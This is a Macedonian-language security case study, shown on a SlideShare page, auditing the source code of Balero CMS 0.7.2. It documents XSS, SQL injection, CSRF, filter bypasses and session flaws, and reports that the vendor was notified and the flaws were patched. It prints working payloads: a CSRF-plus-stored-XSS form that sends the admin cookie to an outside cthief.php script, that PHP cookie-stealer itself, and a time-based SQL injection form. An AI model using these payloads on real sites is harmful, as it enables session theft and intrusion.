SlideShare ist ein Scribd-Unternehmen logo
1 von 14
Downloaden Sie, um offline zu lesen
Изучување на случај: Иницијална безбедносна анализа на изворен код кај
системот за уредување на содржина - Balero CMS
09.04.2015
Ревизија на изворен код како услуга од безбедносните компании е се повеќе застапена во
индустријата на светско ниво.
Неважно во кој програмски јазик програмерите кодираат, сеуште не постои таа свест за
безбедносно програмирање и користење на безбедносни функции и методологии кога станува
збор за развивање на комплетен софтверски пакет без разлика дали апликацијата е комерцијална
или бесплатна.
Во овој текст ќе зборувам за PHP апликацијата Balero CMS развиена од мексиканската компанија
Neblina Software (поранешна BaleroCMS Software) или авторот Анибал Гомез (lastprophet), која
претставува систем за менаџирање на содржина (Content Management System – CMS) како и за
пронајдените ранливости и заобиколувањата на безбедносните филтри коишто оваа апликација
ги има имплементирано.
Апликацијата е напишана во PHP програмскиот јазик и е бесплатна за преземање и користење
(open source project).
Предност за истражувачите на безбедност на информации во вакви проекти е тоа што го имаат
целиот код на располагање, овозможувајќи им полесно наоѓање на ранливости со едноставно
читање или статична анализа на изворниот код.
Како за почеток, ја презедов апликацијата (верзија 0.7.2) и ја инсталирав користејќи XAMPP
платформа. Потоа следеше запознавање со самото работење на Balero CMS, нејзини логички
текови, функции, скрипти со корисничко внесување, справување со систем за база на податоци,
класи, форми и т.н.
За време на оваа анализа беа пронајдени следните ранливости:
- Blind SQL Injection
- Reflected Cross-Site Scripting (XSS)
- Stored/Persistent XSS
- Cookie Poisoning/Manipulation
- Authentication Brute-Forcing
- Security Filter Bypass
- Session ID Content Information Disclosure
- Session Hijacking
- Cross-Site Request Forgery (CSRF)
И секако дека постојат уште многу неоткриени ранливости во Balero CMS, но краткото време
посветено за оваа анализа беше 2,5 саати.
Во самиот ‘root’ директориум на Balero ги гледаме следните информации:
Директориуми:
C:xampphtdocsbalerocms>dir /ad
Volume in drive C has no label.
Volume Serial Number is DE08-2C1D
Directory of C:xampphtdocsbalerocms
06.04.2015 20:19 <DIR> .
06.04.2015 20:19 <DIR> ..
06.04.2015 20:19 <DIR> core
06.04.2015 20:19 <DIR> site
06.04.2015 20:19 <DIR> themes
Фајлови:
C:xampphtdocsbalerocms>dir /a-d
Volume in drive C has no label.
Volume Serial Number is DE08-2C1D
Directory of C:xampphtdocsbalerocms
12.04.2014 09:56 130 .gitignore
12.04.2014 09:56 1.699 .htaccess
12.04.2014 09:56 41.662 favicon.ico
12.04.2014 09:56 1.149 index.php
12.04.2014 09:56 796 LEEME.md
12.04.2014 09:56 57 phpinfo.php
12.04.2014 09:56 2.873 README.md
За да не ги излистувам сите директориуми и фајлови, ќе зборувам само за поинтересните.
Веднаш од прво видување го гледаме ‘phpinfo.php’ фајлот што ја содржи PHP функцијата
‘phpinfo()’ што претставува опасност од обелоденување на информации се додека
администраторот не го отстрани овој податок.
При самата инсталација на апликацијата, беше потребно да се внесат информации за базата на
податоци, кориснички имиња и лозинки и други опции како наслов на сајтот и сл.
Откако XML фајлот ‘/site/etc/balero.config.xml’ беше едитиран со потребните информации, после
успешната инсталација и избирање на корисничко име: admin, со лозинка: admin, го отворив
фајлот за да ја видам вредноста на генерираниот хаш:
<passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd>
Хашот е генериран со помош на Blowfish cipher (bcrypt) во комбинација со random salt што
претставува добар пристап кон зацврстување или безбедност на вредности кај лозинки, сесии и
слични податоци, што е скоро невозможно да се кракираат иако напаѓачот располага со огромна
листа на зборови и алатки како hashcat (CPU) или oclhashcat (GPU). Повеќе: http://www.exploit-
db.com/docs/Cracking_Salted_Hashes.pdf
Ја отвораме скриптата ‘Blowfish.php’ што се наоѓа во ‘core’ директориумот:
25: class Blowfish {
26:
27: private $pwd;
28: private $pwd_string;
29:
30: public $message;
31: public $basepath;
32:
33: // referencias en esta pagina
34: //http://www.the-art-of-web.com/php/blowfish-crypt/#.UbTIRBx38Yw
35: // verificar //el pwd encriptado
36: // if(crypt("texto_plano", $pwd_hashed) == $pwd_hashed) {
37: // echo "pwd correcto";
38: // } else {
39: // echo "pwd incorrecto";
40: // }
41:
42: public function genpwd($pwd = "") {
43:
44: /**
45: *
46: * generar salt
47: */
48:
49: $salt = "";
50: $salt_chars = array_merge(range('A','Z'), range('a','z'), range(0,9));
51:
52: for($i=0; $i < 22; $i++) {
53: $salt .= $salt_chars[array_rand($salt_chars)];
54: }
55:
56: return crypt($pwd, sprintf('$2a$%02d$', 7) . $salt);
57:
58: }
59:
60: public function verify_hash($text, $hash) {
61:
62: if(crypt($text, $hash) == $hash) {
63: return TRUE;
64: } else {
65: return FALSE;
66: }
67:
68: }
Класата Blowfish содржи неколку јавни функции: genpwd(), verify_hash(), login_form() и __destruct().
genpwd() функцијата служи за креирање на горенаведениот хаш со низа од сите броеви, сите
големи и сите мали букви. Потоа по 22 пати вртење се рандомизира низата за потоа да се врати
вредноста од функцијата crypt() што ќе го креира финалниот хаш од лозинката на
администраторот. verify_hash() се повикува за проверка на внесената лозинка од страна на
администраторот, зависно дали е точна или неточна (TRUE/FALSE).
Апликацијата не нуди креирање на додатни кориснички имиња. При инсталација се креира
администраторскиот корисник и лозинка со помош на genpwd() функцијата и тоа е тоа. Нема
ресетирање на лозинката. Доколку сакате да ја смените лозинката, ќе треба рачно да го
генерирате хашот и рачно да ја смените вредноста во XML фајлот во <passwd> полето.
После тоа, при секој обид за најава во администраторскиот панел, внесената лозинка се криптира
и се споредува со хаш вредноста што се наоѓа во ‘balero.config.xml’ фајлот.
Ова го коментирам бидејќи апликацијата го користи генерираниот хаш во самата сесија на
администраторот, во колачето (Cookie) ‘admin_god_balero’. Ќе се навратиме на безбедносните
импликации на ова решение и самиот код малку подоцна.
Ајде да ја отвориме скриптата ‘Router.php’ што се наоѓа во ‘core’ директориумот:
138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) {
139: die(_LOGIN_ATTEMPS);
140: }
Доколку cookie-то ‘counter’ е сетирано и е поголемо или еднакво на 5, тогаш апликацијата умира,
односно, не можеме да пристапиме кон администраторскиот панел. На секој обид да се логираме
со погрешна лозинка, вредноста се зголемува. Кога ќе извршиме 5 обиди, ќе бидеме блокирани.
Ова е решение за Brute-Force напади. Но лесно се заобиколува со самото бришење на cookie-то
или менување на вредноста да биде помала од 5. Подобро решение би било наместо на
клиентската страна (client-side), вредноста да се проверува на серверската страна (server-side), пр.
во MySQL сервер.
Напаѓачите можат лесно да креираат скрипта што автоматски ќе го модифицира cookie-to или ќе
го избрише, и ќе извршат brute-force напади.
Доколку го погледнеме кодот подолу:
157: if(isset($_COOKIE['counter'])) {
158: $value = $_COOKIE['counter'];
159: setcookie("counter", $value+1, time()+120);
160: echo $_COOKIE['counter'];
161: }
Дознаваме дека доколку бидеме блокирани, ќе бидеме блокирани неколку минути додека cookie-
то не истече.
Кодот во линијата 160 е ранлив на Cross-Site Scripting (XSS) напад. Нема никаква проверка нити
санирање од страна на апликацијата, наспроти корисничко внесување. Командата ‘echo’ ќе ја
испринта вредноста на cookie-to ‘counter’ без да провери дали има малициозни внесувања.
Ако ја сменам вредноста на ‘counter’ cookie-to во: <script>confirm(“XSS”);</script> тогаш
во прелистувачот ќе се изврши скриптата и ќе добиеме Confirm порака (JavaScript).
Функцијата admin_router() во Router.php:
125: /**
126: * Router has the login page inside BlowFish class
127: */
128:
129: public function admin_router() {
130:
131: $this->lang = new Language();
132: $this->lang->init();
133: $this->lang->init_apps_lang("admin");
134: $this->lang->app = "admin";
135:
136: //echo "cokie: " . base64_decode($_COOKIE['admin_god_balero']);
137:
138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) {
139: die(_LOGIN_ATTEMPS);
140: }
141:
142: if(!isset($_COOKIE['admin_god_balero'])) {
143: if(isset($_POST['login'])) {
144: $cfg = new configSettings();
145: $login = new Blowfish();
146: $verify = $login->verify_hash($_POST['pwd'], $cfg->pass);
147:
148: if($_POST['usr'] == $cfg->user && $verify == TRUE) {
149: $value = base64_encode($cfg->user . ":" . $cfg->pass);
150: setcookie("admin_god_balero",$value, time()+3600*24);
151: //header("Location: index.php?app=admin");
152: header("Location: ./admin");
153: } else {
154: if(!isset($_COOKIE['counter'])) {
155: setcookie("counter", 1, time()+120);
156: }
157: if(isset($_COOKIE['counter'])) {
158: $value = $_COOKIE['counter'];
159: setcookie("counter", $value+1, time()+120);
160: echo $_COOKIE['counter'];
161: }
162: $this->message = _LOGIN_ERROR;
163: }
164: }
165: }
166:
167: if(isset($_COOKIE['admin_god_balero'])) {
168:
169: //echo("logeado");
170: $cfg = new configSettings();
171: $login = new Blowfish();
172:
173: $cookie = base64_decode($_COOKIE['admin_god_balero']);
174:
175: //echo $cookie;
176:
177: $pieces = explode(":", $cookie);
178: $cookie_usr = $pieces[0];
179: $cookie_pwd = $pieces[1];
180:
181:
182: if($cfg->user == $cookie_usr && $cfg->pass == $cookie_pwd) {
183: //die("buscando...");
184: $ldr = new autoloader("admin"); // cargar clases para la app
185: $this->init_mod();
186: } else {
187: // remomve cookie
188: setcookie("admin_god_balero", "", time()-3600);
189: die("Hash Error");
190: }
191:
192: } else {
193:
194: $cfg = new configSettings();
195: $login = new Blowfish();
196: $login->message = $this->message;
197: $login->basepath = $cfg->basepath;
198:
199: try {
200:
201: $this->nocache();
202: echo $login->login_form(APPS_DIR . "admin/panel/login.html");
203:
204: } catch (Exception $e) {
205:
206: die($e->getMessage());
207:
208: }
209:
210: }
211:
212: unset($this->lang);
213:
214: }
Можеме да видиме многу коментари од страна на програмерот низ целиот код што ни открива
уште повеќе информации за полесна ревизија.
Во функцијата admin_router() можеме да погледнеме уште едно справување со колачиња. Овој
пат се работи за cookie-то ‘admin_god_balero’. Мора да имаме увид за работиниот тек на целата
апликација за полесно навигирање низ кодот.
Во овој случај, Balero проверува два услови.
1. Ако cookie-то ‘admin_god_balero’ не е сетирано, тогаш... (линија 142)
2. Ако cookie-то ‘admin_god_balero’ е сетирано, тогаш... (линија 167)
Првиот услов: Ако колачето не е сетирано и се обидуваме директно да се најавиме во
администраторскиот панел тогаш: се прави верификација на внесената лозинка и споредување со
складираниот хаш со ‘configSettings.php’ и ‘Blowfish.php’ скриптите. И ни кажува дека ако POST
параметарот ‘usr’ се совпаѓа со корисничко име, и verify_hash() ни враќа TRUE, тогаш: вредноста на
колачето (корисничко име и хаш = $value) да биде Base64 енкодирано и сетирано во синтакса:
admin_god_balero ... $value ... time()+3600*24.
Е сега, знаеме дека апликацијата ни става cookie вредност што во исто време претставува и
валидна сесија на администраторот. Проблемот со ова решение е што напаѓачот има шанса, со
помош на MitM напад или други ранливости (XSS), да изврши Session Hijacking и комплетно да ја
компромитира апликацијата. Вредностите на една сесија не би требало да содржат кориснички
имиња и хаширани лозинки. И нормално, ова треба да се складира на серверска страна, а не во
cookie вредности.
Кога напаѓачот би дошол до ваква информација, не ни мора да кракира хашови. Едноставно
самиот хаш ќе го внесе во cookie-то и ќе биде логиран како Администратор. Најтрагичното е тоа
што сесијата е фиксна и не се менува. Вредноста е секогаш иста.
За да го потврдиме ова, се логирав, го видов cookie-то во оваа форма:
admin_god_balero=YWRtaW46JDJhJDA3JGhRU1k3NUJ2cXNyMlZLOWxWY3Z1bmUzNkFqdnhVTi4ueld3OC4uW
XloMWNOcm9WRVFRRDVl
Декодирано од Base64:
admin_god_balero=admin:$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e
Обелоденување на корисничко име и хаш во Session ID. Можеме да кажеме и дека сме пронашле
backdoor пристап бидејќи ако еднаш ја дознаеме вредноста на ова cookie, секогаш ќе имаме
пристап...доколку нели, администраторот не направи нова инсталација на Balero CMS со нова
лозинка и нов генериран хаш.
Во вториот услов од линијата 167 се гледа како Balero прави споредба доколку е сетирано cookie-
то ‘admin_god_balero’. Го декодира од Base64, го расчленува на два дела (cookie_usr и cookie_pwd)
и прави споредба преку ‘configSettings.php’. Доколку смениме еден карактер во cookie-то,
добиваме: Hash Error порака ;]
Повикувања од Router.php -> configSettings.php -> balero.config.xml и споредување:
36: <admin>
37: <!-- admin god -->
38: <username>admin</username>
39: <!-- pwd encrypt -->
40: <passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd>
На полесен начин можеме и да бараме каде се се повикува конфигурацискиот фајл и Blowfish
функцијата:
Во Router.php можеме да видиме и повикувања до класата Security{} и функцијата shield().
Паралелно на тоа, гледаме обид на некој вид на санирање на GET параметарот ‘app’. Пример:
52: if(isset($_GET['app'])) {
53: if(empty($_GET['app'])) {
54: header("Location: index.php");
55: }
56:
57: $security = new Security();
58: $app_get = $security->shield($_GET['app']);
Супер! Значи програмерот е запознаен со хакерските напади во светот и креирал посебна
скрипта/класа/функција за заштита од напади како што се SQL Injection и XSS. Да ја погледнеме
класата Security{} која се наоѓа во /core/Security.php фајлот:
15: class Security {
16:
17: private $var;
18:
19:
20: /**
21: *
22: * We need HTML tags like '<' or '>'
23: * but not the javascript tags
24: *
25: */
26:
27: public function noJS($var) {
28: $script_str = $var;
29:
30: $search_arr = array("<script>",
31: "</script>".
32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript
33: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags
34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly
35: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA
36: "js:",
37: "javascript:",
38: "/(.*)/",
39: "alert",
40: "document.cookie",
41: );
42:
43: $script_str = str_ireplace($search_arr, "", $script_str);
44:
45: /**
46: * Character escape for injections
47: * http://www.ascii.cl/htmlcodes.htm
48: */
49:
50: $script_str = str_replace("'", "&#39;", $script_str);
51:
52:
53: return $script_str;
54:
55: }
56:
57: /**
58: * Blindar variable
59: **/
60:
61: public function shield($var = "") {
62:
63: $this->var = $var;
64:
65: /**
66: * Nivel de protección.
67: */
68:
69: $this->Level1($this->var);
70: $this->Level2($this->var);
71: $this->Level3($this->var);
72:
73: return $this->fix();
74:
75: }
76:
77: public function fix() {
78: return $this->__toString();
79: }
80:
81: public function Level1($str) {
82: $this->var = htmlspecialchars($str);
83: //$this->var = $str;
84: return $this->var;
85: }
86:
87: public function Level2($str) {
88:
89: $this->var = $str;
90:
91: /**
92: *
93: * Remover caracteres potencialmente peligrosos
94: */
95:
96: $array = array("<script>",
97: "</script>".
98: "@<script[^>]*?>.*?</script>@si", // Strip out javascript
99: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags
100: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly
101: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA
102: "js:",
103: "javascript:",
104: "/(.*)/",
105: "alert",
106: "document.cookie",
107: "%20");
108:
109: $this->var = str_replace($array, "", $this->var);
110:
111: return $this->var;
112: }
113:
114: public function Level3($str) {
115: $this->var = str_replace("document.cookie", "", $str);
116: $this->var = str_replace("alert(.*)", "", $str);
117: return $this->var;
118: }
119:
120: public function __toString() {
121: return (string)$this->var;
122: }
123:
124: public function __destruct() {
125: unset ($this->var);
126: }
127:
128: }
Функциите noJS(), shield(), Level1(), Level2() и Level3() во класата Security{} извршуваат санирање на
внесените вредности од корисникот и заштитува од добро познати JavaScript и HTML малициозни
тагови.
Но во овој случај, санирањето е направено со користење на регуларни изразувања (regex)
наспроти добро познати вредности или стрингови коишто му отежнуваат на напаѓачот успешно да
дојде до експлоатација врз ранливите параметри.
Тие изразувања можеме да ги видиме од линијата 30 до 40 во noJS() функцијата, пр:
30: $search_arr = array("<script>",
31: "</script>".
32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript
33: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags
34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly
35: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA
36: "js:",
37: "javascript:",
38: "/(.*)/",
39: "alert",
40: "document.cookie",
41:) ;
42:
43: $script_str = str_ireplace($search_arr, "", $script_str);
Анализирајќи го кодот, можеме многу лесно да ги заобиколиме овие филтри. Нели, во случај на
XSS ранливост, напаѓачот ќе се обиде да изврши крадење на сесијата со помош на
document.cookie и <script> вредности. Иако постојат многу други техники како на пример
користење на prompt, confirm, onmouseover и сл. Нас целта ни е да ги заобиколиме овие заштити.
Тоа можеме да го направиме со едноставно избегнување (escaping) на карактери. Пример:
Товарот (payload): <script>alert(document.cookie);</script> ќе биде сменет во одговорот на
серверот со null вредност, односно, кога апликацијата ќе го види <script> и document.cookie во
побарувањето, во одговорот нема да го видиме нашето внесување поради линијата 43 во
горенаведениот код.
Апликацијата бара, и ги заменува дадените изрази со нулта вредност:
$script_str = str_ireplace($search_arr, "", $script_str);
Заобиколувањето на овие филтри би било вака:
<script>alert(document.cookie)</script>
Вака едноставно си добиваме за одговор: <script>alert(document.cookie)</script> што успешно сме
извршиле Filter Bypassing. Знаејќи го ова, секаде кадешто ќе видиме користење на функциите од
Security{} класата, можеме да извршиме XSS и SQL Injection напади.
Пример за Stored XSS на POST параметарот ‘content’ во
/site/apps/admin/mods/virtual_page/mod_virtual_page_Controller.php:
158: $this->modModel->update_virtual_content($_POST['id'], $id-
>shield($_POST['virtual_title']), $id->noJS($_POST['content']), $_POST['a']);
Гледаме како во формата за нов блог пост, ‘content’ параметарот (меѓу другите) е заштитен од
JavaScript напади. За да го извршиме овој напад успешно, можеме да користиме само
избегнување на тие вредности и ќе дојдеме до саканата сесија на администраторот.
До саканата сесија на администраторот ќе дојдеме ако и само ако, најавениот администратор
притисне на линкот што му е пратен од страна на напаѓачот. Видовме и дека во сите форми низ
апликацијата не постои токен за заштита од Cross-Site Request Forgery (CSRF) напади што уште
повеќе му ја олеснува работата на напаѓачот.
За да го потврдиме ова, креираме доказ на концепт (PoC) со тагот iframe којшто не се наоѓа во
листата на забранети тагови:
<input type="hidden" name="content" value="pwned</textarea><iframe
onload=confirm(document.cookie)>" />
Бидејќи:
document.cookie не е еднакво на document.cookie
iframe не се наоѓа во листата на забранети стрингови
наместо alert, користиме confirm што исто така не се наоѓа во црната листа.
Финалниот експлоатациски код во овој пример би бил вака:
CSRF + Stored XSS + Filter Bypass + Session Hijacking:
<html>
<body>
<form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog"
method="POST">
<input type="hidden" name="title" value="ZSL" />
<input type="hidden" name="content"
value="pwned&lt;/textarea&gt;<script>document.location="http://www.zeroscience.mk/pen
test/cthief.php?cookie="+document.cookie;</script>" />
<input type="hidden" name="files" value="joxy.poxy" />
<input type="hidden" name="delete_post[]" value="135" />
<input type="hidden" name="id" value="135" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Содржината на cthief.php што се наоѓа на мојот сервер:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
mail("liquidworm@gmail.com", "XSSed", $cookie);
echo "<script>location.href='http://localhost/balerocms/admin/';</script>";
?>
Кодот го презема cookie-то на администраторот и ми испраќа е-маил со содржината на тоа колаче
(хашот/сесијата) и потоа веднаш се враќа до админ панелот за да не биде сомнително ;].
Администраторот кликнува на дадениот малициозен линк (експлоит) а јас го добивам ова:
Бидејќи е Stored XSS, проверуваме во базата и потврдуваме дека товарот е таму:
Секако дека можеме да користиме и на пр. HTML енкодинг и други заобиколувања на стрингови,
но ова е само еден пример.
Откако дознавме како да ги заобиколиме забраните, веќе низ целата апликација постојат
ранливости од типот XSS и SQL Injection.
Пример за SQL Injection на параметарот ‘id’ со HTML енкодирање:
<html>
<body>
<form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11"
method="POST">
<input type="hidden" name="virtual&#95;title" value="ZSL" />
<input type="hidden" name="a" value="1" />
<input type="hidden" name="content" value="Testingus" />
<input type="hidden" name="&#95;wysihtml5&#95;mode" value="1" />
<input type="hidden" name="id"
value="11&apos;&#32;and&#32;benchmark&#32;&#40;50000000&#44;sha1&#40;1&#41;&#41;&#45;&
#45;&#32;" />
<input type="hidden" name="submit&#95;delete" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Ако продолжиме понатаму ќе најдеме многу не-санирани параметри што претставува ранливост
во истите но поради времето посветено за овој текст, тука ќе застанеме со анализата.
Што следи, е одговорно и етички да го контактирам производителот и заедно да ги закрпиме овие
ранливости. Уште пред да се напише овој текст, производителот на апликацијата беше
контактиран и му беа пратени сите детали од анализата и пронајдените ранливости.
Производителот како решение за овие сценарија, направи тотална ревизија и разви нов код и
нови класи за побезбедно санирање со објавување на нова верзија: 0.8.3.
Нова Security{} класа:
Или закрпа со ново креираните функции за санирање (лево: закрпа, десно: ранлив код):
Повеќе информации за Balero CMS, новиот код и предупредувањата:
http://www.balerocms.com/blog/main/id-190
http://www.balerocms.com/blog/main/id-193
https://github.com/neblina-software/balerocms-src/releases
https://github.com/neblina-software/balerocms-src/blob/master/core/Security.php
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php
Ѓоко Крстиќ
gjoko@zeroscience.mk

Weitere ähnliche Inhalte

Mehr von Zero Science Lab

Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Zero Science Lab
 
Преоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијатаПреоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијата
Zero Science Lab
 

Mehr von Zero Science Lab (16)

Broadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio StationsBroadcast Signal Intrusion - Hacking Radio Stations
Broadcast Signal Intrusion - Hacking Radio Stations
 
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
Безбедност: МК сајбер простор и инфраструктура - Отстранување на национална с...
 
Digital Signage Systems - The Modern Hacker's Outreach
Digital Signage Systems - The Modern Hacker's OutreachDigital Signage Systems - The Modern Hacker's Outreach
Digital Signage Systems - The Modern Hacker's Outreach
 
I Own Your Building (Management System)
I Own Your Building (Management System)I Own Your Building (Management System)
I Own Your Building (Management System)
 
Exploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systemsExploitation and distribution of setuid and setgid binaries on Linux systems
Exploitation and distribution of setuid and setgid binaries on Linux systems
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The Web
 
CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2CloudFlare vs Incapsula: Round 2
CloudFlare vs Incapsula: Round 2
 
CloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurityCloudFlare vs Incapsula vs ModSecurity
CloudFlare vs Incapsula vs ModSecurity
 
Преоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPTПреоптоварување на баферот и безбедносни механизми на меморијата PPT
Преоптоварување на баферот и безбедносни механизми на меморијата PPT
 
Преоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијатаПреоптоварување на баферот и безбедносни механизми на меморијата
Преоптоварување на баферот и безбедносни механизми на меморијата
 
Vulnerability Discovery (MK)
Vulnerability Discovery (MK)Vulnerability Discovery (MK)
Vulnerability Discovery (MK)
 
M3t4splo1t
M3t4splo1tM3t4splo1t
M3t4splo1t
 
IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)IDS - Intrusion Detection Systems (MK)
IDS - Intrusion Detection Systems (MK)
 
OWASP Bulgaria
OWASP BulgariaOWASP Bulgaria
OWASP Bulgaria
 
Grsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical ApplicationGrsecurity - Theoretical and Practical Application
Grsecurity - Theoretical and Practical Application
 
Information Gathering With Google
Information Gathering With GoogleInformation Gathering With Google
Information Gathering With Google
 

Изучување на случај: Иницијална безбедносна анализа на изворен код кај системот за уредување на содржина - Balero CMS

  • 1. Изучување на случај: Иницијална безбедносна анализа на изворен код кај системот за уредување на содржина - Balero CMS 09.04.2015 Ревизија на изворен код како услуга од безбедносните компании е се повеќе застапена во индустријата на светско ниво. Неважно во кој програмски јазик програмерите кодираат, сеуште не постои таа свест за безбедносно програмирање и користење на безбедносни функции и методологии кога станува збор за развивање на комплетен софтверски пакет без разлика дали апликацијата е комерцијална или бесплатна. Во овој текст ќе зборувам за PHP апликацијата Balero CMS развиена од мексиканската компанија Neblina Software (поранешна BaleroCMS Software) или авторот Анибал Гомез (lastprophet), која претставува систем за менаџирање на содржина (Content Management System – CMS) како и за пронајдените ранливости и заобиколувањата на безбедносните филтри коишто оваа апликација ги има имплементирано. Апликацијата е напишана во PHP програмскиот јазик и е бесплатна за преземање и користење (open source project). Предност за истражувачите на безбедност на информации во вакви проекти е тоа што го имаат целиот код на располагање, овозможувајќи им полесно наоѓање на ранливости со едноставно читање или статична анализа на изворниот код. Како за почеток, ја презедов апликацијата (верзија 0.7.2) и ја инсталирав користејќи XAMPP платформа. Потоа следеше запознавање со самото работење на Balero CMS, нејзини логички текови, функции, скрипти со корисничко внесување, справување со систем за база на податоци, класи, форми и т.н. За време на оваа анализа беа пронајдени следните ранливости: - Blind SQL Injection - Reflected Cross-Site Scripting (XSS) - Stored/Persistent XSS - Cookie Poisoning/Manipulation - Authentication Brute-Forcing - Security Filter Bypass - Session ID Content Information Disclosure - Session Hijacking - Cross-Site Request Forgery (CSRF) И секако дека постојат уште многу неоткриени ранливости во Balero CMS, но краткото време посветено за оваа анализа беше 2,5 саати.
  • 2. Во самиот ‘root’ директориум на Balero ги гледаме следните информации: Директориуми: C:xampphtdocsbalerocms>dir /ad Volume in drive C has no label. Volume Serial Number is DE08-2C1D Directory of C:xampphtdocsbalerocms 06.04.2015 20:19 <DIR> . 06.04.2015 20:19 <DIR> .. 06.04.2015 20:19 <DIR> core 06.04.2015 20:19 <DIR> site 06.04.2015 20:19 <DIR> themes Фајлови: C:xampphtdocsbalerocms>dir /a-d Volume in drive C has no label. Volume Serial Number is DE08-2C1D Directory of C:xampphtdocsbalerocms 12.04.2014 09:56 130 .gitignore 12.04.2014 09:56 1.699 .htaccess 12.04.2014 09:56 41.662 favicon.ico 12.04.2014 09:56 1.149 index.php 12.04.2014 09:56 796 LEEME.md 12.04.2014 09:56 57 phpinfo.php 12.04.2014 09:56 2.873 README.md За да не ги излистувам сите директориуми и фајлови, ќе зборувам само за поинтересните. Веднаш од прво видување го гледаме ‘phpinfo.php’ фајлот што ја содржи PHP функцијата ‘phpinfo()’ што претставува опасност од обелоденување на информации се додека администраторот не го отстрани овој податок. При самата инсталација на апликацијата, беше потребно да се внесат информации за базата на податоци, кориснички имиња и лозинки и други опции како наслов на сајтот и сл. Откако XML фајлот ‘/site/etc/balero.config.xml’ беше едитиран со потребните информации, после успешната инсталација и избирање на корисничко име: admin, со лозинка: admin, го отворив фајлот за да ја видам вредноста на генерираниот хаш: <passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd> Хашот е генериран со помош на Blowfish cipher (bcrypt) во комбинација со random salt што претставува добар пристап кон зацврстување или безбедност на вредности кај лозинки, сесии и слични податоци, што е скоро невозможно да се кракираат иако напаѓачот располага со огромна листа на зборови и алатки како hashcat (CPU) или oclhashcat (GPU). Повеќе: http://www.exploit- db.com/docs/Cracking_Salted_Hashes.pdf Ја отвораме скриптата ‘Blowfish.php’ што се наоѓа во ‘core’ директориумот: 25: class Blowfish { 26: 27: private $pwd;
  • 3. 28: private $pwd_string; 29: 30: public $message; 31: public $basepath; 32: 33: // referencias en esta pagina 34: //http://www.the-art-of-web.com/php/blowfish-crypt/#.UbTIRBx38Yw 35: // verificar //el pwd encriptado 36: // if(crypt("texto_plano", $pwd_hashed) == $pwd_hashed) { 37: // echo "pwd correcto"; 38: // } else { 39: // echo "pwd incorrecto"; 40: // } 41: 42: public function genpwd($pwd = "") { 43: 44: /** 45: * 46: * generar salt 47: */ 48: 49: $salt = ""; 50: $salt_chars = array_merge(range('A','Z'), range('a','z'), range(0,9)); 51: 52: for($i=0; $i < 22; $i++) { 53: $salt .= $salt_chars[array_rand($salt_chars)]; 54: } 55: 56: return crypt($pwd, sprintf('$2a$%02d$', 7) . $salt); 57: 58: } 59: 60: public function verify_hash($text, $hash) { 61: 62: if(crypt($text, $hash) == $hash) { 63: return TRUE; 64: } else { 65: return FALSE; 66: } 67: 68: } Класата Blowfish содржи неколку јавни функции: genpwd(), verify_hash(), login_form() и __destruct(). genpwd() функцијата служи за креирање на горенаведениот хаш со низа од сите броеви, сите големи и сите мали букви. Потоа по 22 пати вртење се рандомизира низата за потоа да се врати вредноста од функцијата crypt() што ќе го креира финалниот хаш од лозинката на администраторот. verify_hash() се повикува за проверка на внесената лозинка од страна на администраторот, зависно дали е точна или неточна (TRUE/FALSE). Апликацијата не нуди креирање на додатни кориснички имиња. При инсталација се креира администраторскиот корисник и лозинка со помош на genpwd() функцијата и тоа е тоа. Нема ресетирање на лозинката. Доколку сакате да ја смените лозинката, ќе треба рачно да го генерирате хашот и рачно да ја смените вредноста во XML фајлот во <passwd> полето. После тоа, при секој обид за најава во администраторскиот панел, внесената лозинка се 